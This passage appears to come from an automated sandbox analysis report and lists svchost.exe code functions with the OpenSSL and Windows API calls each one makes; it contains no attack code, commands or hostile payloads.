Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333D68B X509_VERIFY_PARAM_free,BIO_pop,BIO_free,BUF_MEM_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,SCT_LIST_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_MD_CTX_free,OPENSSL_sk_pop_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,OSSL_STACK_OF_X509_free,ASYNC_WAIT_CTX_free,CRYPTO_free,OPENSSL_sk_free,BIO_free_all,BIO_free_all,CRYPTO_free,	53_2_00007FFDA333D68B
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3389730 CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,CRYPTO_free,	53_2_00007FFDA3389730
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333DAA0 CRYPTO_zalloc,CRYPTO_THREAD_lock_new,CRYPTO_new_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,OPENSSL_sk_dup,ERR_new,ERR_set_debug,ERR_set_error,X509_VERIFY_PARAM_new,ERR_new,ERR_set_debug,ERR_set_error,X509_VERIFY_PARAM_inherit,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_malloc,memcpy,CRYPTO_memdup,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_set_error,	53_2_00007FFDA333DAA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33223C0 CloseHandle,CloseHandle,DeleteCriticalSection,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33223C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3344380 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	53_2_00007FFDA3344380
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A8426 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_clear_free,	53_2_00007FFDA33A8426
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A844C CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA33A844C
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3340450 CRYPTO_free,EVP_PKEY_free,CRYPTO_free,	53_2_00007FFDA3340450
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33623F0 CRYPTO_free,	53_2_00007FFDA33623F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3358400 CRYPTO_free,CRYPTO_free,CRYPTO_free,GetCurrentProcessId,OpenSSL_version,BIO_snprintf,	53_2_00007FFDA3358400
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A8414 ERR_new,ERR_set_debug,OPENSSL_sk_new_null,ERR_new,ERR_set_debug,X509_new_ex,d2i_X509,CRYPTO_free,CRYPTO_memcmp,ERR_new,ERR_set_debug,OPENSSL_sk_push,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,OPENSSL_sk_num,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_sk_value,X509_get0_pubkey,ERR_new,ERR_set_debug,X509_free,OPENSSL_sk_shift,OSSL_STACK_OF_X509_free,EVP_PKEY_free,ERR_new,ERR_set_debug,X509_free,OSSL_STACK_OF_X509_free,	53_2_00007FFDA33A8414
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33302B0 CRYPTO_malloc,CRYPTO_free,CRYPTO_malloc,strncmp,CRYPTO_free,OPENSSL_sk_new_null,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_free,OPENSSL_sk_delete,OPENSSL_sk_num,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_set_cmp_func,OPENSSL_sk_sort,OPENSSL_sk_free,	53_2_00007FFDA33302B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33262C0 CRYPTO_clear_free,	53_2_00007FFDA33262C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336A2C0 CRYPTO_zalloc,OPENSSL_LH_insert,OPENSSL_LH_error,OPENSSL_LH_insert,OPENSSL_LH_error,OPENSSL_LH_delete,CRYPTO_free,	53_2_00007FFDA336A2C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334C2C0 CRYPTO_free,	53_2_00007FFDA334C2C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A02C0 CRYPTO_zalloc,CRYPTO_malloc,CRYPTO_free,memcpy,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33A02C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3344260 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	53_2_00007FFDA3344260
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333A330 CRYPTO_memdup,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA333A330
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA335A330 CRYPTO_zalloc,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_free,CRYPTO_free,	53_2_00007FFDA335A330
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3354330 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	53_2_00007FFDA3354330
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3390340 ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,ERR_new,ERR_set_debug,	53_2_00007FFDA3390340
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A82E7 ERR_new,ERR_set_debug,CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,ERR_new,ERR_new,ERR_set_debug,ERR_new,ERR_new,memcpy,ERR_new,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33A82E7
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338A2E0 RAND_bytes_ex,CRYPTO_malloc,memset,	53_2_00007FFDA338A2E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33822F0 BIO_write_ex,BIO_write_ex,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33822F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33741B0 OPENSSL_LH_retrieve,CRYPTO_zalloc,OPENSSL_LH_insert,	53_2_00007FFDA33741B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337A1D0 CRYPTO_realloc,	53_2_00007FFDA337A1D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3344160 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	53_2_00007FFDA3344160
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3378160 CRYPTO_memdup,	53_2_00007FFDA3378160
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3336190 CRYPTO_malloc,CRYPTO_free,	53_2_00007FFDA3336190
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A6190 ERR_new,ERR_set_debug,CRYPTO_memcmp,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_new,d2i_PUBKEY_ex,EVP_PKEY_missing_parameters,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_free,	53_2_00007FFDA33A6190
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338C190 CRYPTO_zalloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,ERR_new,ERR_set_debug,	53_2_00007FFDA338C190
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33381E0 CRYPTO_get_ex_data,	53_2_00007FFDA33381E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33621E0 CRYPTO_zalloc,BIO_ctrl,BIO_ctrl,	53_2_00007FFDA33621E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336C0D0 CRYPTO_free,	53_2_00007FFDA336C0D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3344060 CRYPTO_free,CRYPTO_memdup,	53_2_00007FFDA3344060
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3390070 CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,	53_2_00007FFDA3390070
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3344120 CRYPTO_set_ex_data,	53_2_00007FFDA3344120
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3368120 CRYPTO_free,	53_2_00007FFDA3368120
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3330130 CRYPTO_zalloc,CRYPTO_free,	53_2_00007FFDA3330130
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3370130 CRYPTO_zalloc,CRYPTO_free,	53_2_00007FFDA3370130
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3348140 CRYPTO_malloc,CRYPTO_realloc,memset,OSSL_PARAM_locate_const,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_strdup,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,OSSL_PARAM_locate_const,CRYPTO_strdup,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,ERR_new,OSSL_PARAM_locate_const,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,ERR_set_mark,EVP_KEYMGMT_free,ERR_pop_to_mark,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3348140
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33340E0 CRYPTO_get_ex_data,	53_2_00007FFDA33340E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33540E0 CRYPTO_free,CRYPTO_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,BN_free,	53_2_00007FFDA33540E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33827B0 CRYPTO_malloc,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,	53_2_00007FFDA33827B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33767D1 BIO_puts,BIO_puts,CRYPTO_zalloc,BIO_printf,BIO_printf,BIO_printf,BIO_printf,BIO_printf,BIO_printf,CRYPTO_free,BIO_puts,	53_2_00007FFDA33767D1
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33707D0 CRYPTO_malloc,memcpy,CRYPTO_free,	53_2_00007FFDA33707D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336A7D0 OPENSSL_LH_set_down_load,OPENSSL_LH_doall_arg,OPENSSL_LH_free,OPENSSL_LH_free,CRYPTO_free,	53_2_00007FFDA336A7D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3370770 CRYPTO_clear_free,CRYPTO_free,	53_2_00007FFDA3370770
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337E790 CRYPTO_free,	53_2_00007FFDA337E790
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3344840 memcpy,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock,CRYPTO_THREAD_unlock,	53_2_00007FFDA3344840
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337A850 CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA337A850
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3378850 CRYPTO_realloc,	53_2_00007FFDA3378850
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA339C7E0 ERR_new,ERR_new,ERR_set_debug,EVP_PKEY_get1_encoded_public_key,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,EVP_PKEY_free,BN_num_bits,BN_bn2bin,CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,CRYPTO_clear_free,CRYPTO_clear_free,	53_2_00007FFDA339C7E0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33227F0 DeleteCriticalSection,CRYPTO_free,	53_2_00007FFDA33227F0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3374800 OPENSSL_LH_delete,CRYPTO_free,	53_2_00007FFDA3374800
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336E810 CRYPTO_zalloc,	53_2_00007FFDA336E810
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3328812 ERR_set_debug,CRYPTO_free,CRYPTO_strdup,ERR_new,	53_2_00007FFDA3328812
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337E6D0 CRYPTO_malloc,	53_2_00007FFDA337E6D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3344660 CRYPTO_free,CRYPTO_malloc,memcpy,	53_2_00007FFDA3344660
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336E660 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA336E660
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3328720 CRYPTO_free,CRYPTO_strdup,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA3328720
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337E730 CRYPTO_free,	53_2_00007FFDA337E730
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3372740 CRYPTO_zalloc,CRYPTO_zalloc,CRYPTO_zalloc,OPENSSL_cleanse,CRYPTO_free,	53_2_00007FFDA3372740
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332E700 CRYPTO_malloc,OPENSSL_sk_find,CRYPTO_free,ERR_new,ERR_set_debug,OPENSSL_sk_push,CRYPTO_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_set_error,	53_2_00007FFDA332E700
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336C700 CRYPTO_malloc,memcmp,memcpy,memcpy,	53_2_00007FFDA336C700
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33325A0 CRYPTO_strdup,CRYPTO_free,	53_2_00007FFDA33325A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33545A0 BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,BN_copy,BN_free,BN_dup,CRYPTO_free,CRYPTO_strdup,	53_2_00007FFDA33545A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33AC5A0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_strndup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_memdup,OPENSSL_cleanse,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,	53_2_00007FFDA33AC5A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33725B0 OPENSSL_cleanse,CRYPTO_free,	53_2_00007FFDA33725B0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336A5C0 OPENSSL_LH_retrieve,CRYPTO_zalloc,OPENSSL_LH_new,OPENSSL_LH_set_thunks,OPENSSL_LH_insert,OPENSSL_LH_error,OPENSSL_LH_free,CRYPTO_free,	53_2_00007FFDA336A5C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3348580 CRYPTO_malloc,CRYPTO_realloc,memset,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,OSSL_PARAM_locate_const,OSSL_PARAM_get_uint,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,CRYPTO_free,CRYPTO_strdup,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,OSSL_PARAM_locate_const,OSSL_PARAM_get_int,ERR_new,ERR_set_mark,EVP_KEYMGMT_fetch,X509_STORE_CTX_get0_param,OBJ_create,OBJ_txt2nid,OBJ_txt2nid,OBJ_nid2obj,OBJ_create,OBJ_create,OBJ_create,OBJ_txt2nid,OBJ_txt2nid,OBJ_txt2nid,OBJ_add_sigid,EVP_KEYMGMT_free,ERR_pop_to_mark,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3348580
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3372630 OPENSSL_cleanse,CRYPTO_free,	53_2_00007FFDA3372630
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3392630 CRYPTO_memdup,CRYPTO_memdup,CRYPTO_memdup,CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3392630
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333C610 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,EVP_MD_get_size,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,CRYPTO_malloc,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,memcpy,OPENSSL_sk_num,OPENSSL_sk_value,OPENSSL_sk_insert,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,EVP_PKEY_free,EVP_PKEY_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,X509_free,OPENSSL_sk_new_null,OPENSSL_sk_push,ERR_new,ERR_set_debug,ERR_set_error,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,X509_free,CRYPTO_free,EVP_PKEY_free,CRYPTO_free,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,	53_2_00007FFDA333C610
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33324D0 CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,	53_2_00007FFDA33324D0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3322460 CRYPTO_malloc,CRYPTO_zalloc,InitializeCriticalSection,CreateSemaphoreA,CreateSemaphoreA,CloseHandle,CRYPTO_free,	53_2_00007FFDA3322460
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A4460 EVP_MD_CTX_new,ERR_new,ERR_set_debug,ERR_new,EVP_MD_get0_name,EVP_DigestSignInit_ex,ERR_new,EVP_PKEY_CTX_set_rsa_padding,EVP_PKEY_CTX_set_rsa_pss_saltlen,ERR_new,EVP_DigestSignUpdate,EVP_MD_CTX_ctrl,EVP_DigestSignFinal,CRYPTO_malloc,EVP_DigestSignFinal,ERR_new,ERR_new,EVP_DigestSign,ERR_new,CRYPTO_malloc,EVP_DigestSign,BUF_reverse,ERR_new,CRYPTO_free,EVP_MD_CTX_free,ERR_new,ERR_new,ERR_new,ERR_set_debug,CRYPTO_free,EVP_MD_CTX_free,	53_2_00007FFDA33A4460
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3362470 CRYPTO_zalloc,	53_2_00007FFDA3362470
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3344490 CRYPTO_THREAD_read_lock,CRYPTO_THREAD_unlock,	53_2_00007FFDA3344490
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A2500 CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,	53_2_00007FFDA33A2500
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA335E510 memcmp,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_set_error,ERR_set_debug,OSSL_ERR_STATE_new,OSSL_ERR_STATE_save,CRYPTO_free,	53_2_00007FFDA335E510
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3372BA0 OPENSSL_LH_retrieve,CRYPTO_zalloc,CRYPTO_free,OPENSSL_LH_insert,OPENSSL_LH_insert,OPENSSL_LH_retrieve,OPENSSL_LH_insert,OPENSSL_LH_insert,	53_2_00007FFDA3372BA0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3356BB0 CRYPTO_malloc,	53_2_00007FFDA3356BB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332CB70 CRYPTO_zalloc,CRYPTO_zalloc,CRYPTO_free,EVP_PKEY_up_ref,X509_up_ref,EVP_PKEY_up_ref,X509_chain_up_ref,CRYPTO_memdup,CRYPTO_malloc,memcpy,ERR_new,ERR_set_debug,ERR_set_error,EVP_PKEY_free,X509_free,EVP_PKEY_free,OSSL_STACK_OF_X509_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_malloc,memcpy,CRYPTO_memdup,X509_STORE_up_ref,X509_STORE_up_ref,CRYPTO_strdup,	53_2_00007FFDA332CB70
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332AB80 ERR_new,ERR_set_debug,ERR_set_error,ASN1_item_free,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,memcpy,memcpy,X509_free,EVP_PKEY_free,d2i_PUBKEY_ex,memcpy,CRYPTO_free,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,ASN1_item_free,	53_2_00007FFDA332AB80
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336AB80 CRYPTO_free,	53_2_00007FFDA336AB80
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334CB80 ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_malloc,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA334CB80
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3398B90 CRYPTO_free,CRYPTO_memdup,	53_2_00007FFDA3398B90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336AC50 CRYPTO_zalloc,OSSL_ERR_STATE_new,CRYPTO_free,	53_2_00007FFDA336AC50
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333ABF0 CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,	53_2_00007FFDA333ABF0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA332CAB0 X509_free,EVP_PKEY_free,OSSL_STACK_OF_X509_free,CRYPTO_free,	53_2_00007FFDA332CAB0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333AAD0 CRYPTO_set_ex_data,	53_2_00007FFDA333AAD0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A0AD0 CRYPTO_free,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA33A0AD0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3354A60 ERR_new,ERR_set_debug,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,BN_clear_free,BN_clear_free,CRYPTO_clear_free,ERR_new,ERR_set_debug,BN_clear_free,BN_clear_free,BN_clear_free,	53_2_00007FFDA3354A60
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337AA70 CRYPTO_realloc,	53_2_00007FFDA337AA70
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3334A72 CRYPTO_memdup,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3334A72
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3322A80 CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3322A80
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3336A90 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,OPENSSL_sk_num,OPENSSL_sk_num,OPENSSL_sk_new_reserve,ERR_new,ERR_set_debug,ERR_set_error,OPENSSL_sk_value,OSSL_PARAM_construct_int,OSSL_PARAM_construct_end,X509_VERIFY_PARAM_get_depth,X509_VERIFY_PARAM_set_depth,CRYPTO_dup_ex_data,X509_VERIFY_PARAM_inherit,OPENSSL_sk_dup,OPENSSL_sk_dup,	53_2_00007FFDA3336A90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA337EB20 CRYPTO_free,	53_2_00007FFDA337EB20
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3390B20 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,memcpy,	53_2_00007FFDA3390B20
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA3356B30 CRYPTO_free,CRYPTO_free,	53_2_00007FFDA3356B30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33A0B30 CRYPTO_zalloc,CRYPTO_malloc,CRYPTO_free,CRYPTO_zalloc,CRYPTO_free,	53_2_00007FFDA33A0B30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA338CB30 EVP_MD_get_size,ERR_new,ERR_set_debug,EVP_MD_CTX_new,EVP_DigestInit_ex,EVP_DigestFinal_ex,EVP_DigestInit_ex,ERR_new,ERR_set_debug,BIO_ctrl,ERR_new,ERR_set_debug,EVP_DigestUpdate,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,EVP_DigestUpdate,EVP_DigestFinal_ex,EVP_PKEY_new_raw_private_key_ex,ERR_new,ERR_set_debug,EVP_MD_get0_name,EVP_DigestSignInit_ex,EVP_DigestSignUpdate,EVP_DigestSignFinal,CRYPTO_memcmp,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,OPENSSL_cleanse,OPENSSL_cleanse,EVP_PKEY_free,EVP_MD_CTX_free,	53_2_00007FFDA338CB30
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA334C9A0 CRYPTO_malloc,CRYPTO_free,CRYPTO_free,	53_2_00007FFDA334C9A0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA333E9C0 ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_new,ERR_set_debug,CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,	53_2_00007FFDA333E9C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA33949C0 CRYPTO_free,CRYPTO_free,CRYPTO_memdup,ERR_new,ERR_set_debug,ERR_new,ERR_new,ERR_set_debug,	53_2_00007FFDA33949C0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA336E960 BIO_ADDR_family,BIO_ADDR_family,memcmp,BIO_ADDR_family,BIO_ADDR_family,memcmp,CRYPTO_malloc,BIO_ADDR_clear,BIO_ADDR_clear,	53_2_00007FFDA336E960
